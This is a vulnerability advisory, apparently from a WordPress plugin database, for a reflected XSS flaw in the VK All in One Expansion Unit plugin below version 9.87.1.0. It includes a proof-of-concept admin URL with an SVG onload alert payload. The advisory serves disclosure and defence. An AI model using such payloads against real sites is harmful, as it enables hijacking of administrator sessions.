WordPress Plugin Vulnerabilities

VK All in One Expansion Unit < 9.87.1.0 - Reflected XSS

Description

The plugin does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers

Proof of Concept

Make a logged in admin open the below URL using web browser which does not encode characters

https://example.com/wp-admin/admin.php?page=vkExUnit_css_customize&b="><svg/onload=alert(/XSS/)>

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-02-23 (about 1 years ago)
Added
2023-02-23 (about 1 years ago)
Last Updated
2023-02-23 (about 1 years ago)

Other